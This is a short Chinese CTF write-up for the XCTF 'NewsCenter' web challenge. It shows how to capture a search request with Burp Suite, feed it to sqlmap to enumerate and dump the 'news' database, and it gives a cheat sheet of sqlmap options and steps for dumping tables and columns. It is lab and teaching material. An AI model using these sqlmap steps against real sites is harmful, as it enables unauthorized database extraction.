XCTF web NewsCenter（sqlmap简单使用）

打开网页是一个查询操作的输入框，判断应该存在sql注入。
随便输入一些东西后回车，用bp抓包，抓取的内容放到一个1.txt文件里面
之后用到sqlmap
sqlmap.py -r 1.txt --dbs 用1.txt内容去搜索对应的所有数据库名
可以爆出两个库
sqlmap.py -r 1.txt -D news --dump 建立可后台news库连接， 搜索所有的数据

---

sql部分常用参数

参数	作用
- -data=“DATA”	指明参数是哪些。例：-u “www.test.com/index.php?id=1” --data=“name=1&pass=2”
- -dbs	目标服务器中有什么数据库，常用，直接用- -dbs
- -tables	目标数据库有什么表，常用，直接用- -tables
- -columns	目标表中有什么列，常用，直接用- -colums
-r	可以将一个post请求方式的数据包保存在一个txt中。例： -r 1.txt
- -dump	查询指定范围的全部数据
-D	直接连目标后端接数据库
- -is-dba	查看是否是管理员权限
- -current-db	当前数据库
- -current-user	当前用户
-T	指定要列出字段的表
- -batch	从不询问用户输入，使用所有默认配置
- -delay 0.2	延迟参数 这个很重要

---

sqlmap通常的使用步骤

1.Sqlmap -u url --dbs 显示数据库管理系统中所有数据库
2.Sqlmap -u url --current -db 当前网站所使用得数据库
3.Sqlmap -u url -D 数据库名 --tables 显示当前数据库中所有数据表
4.Sqlmap -u url -D 数据库名 -T 表名 --columns 显示表中所有得字段名
5.Sqlmap -u url -D 数据库名 -T 表名 -C 字段名，字段名，字段名…(互相用逗号隔开) --dump 显示数据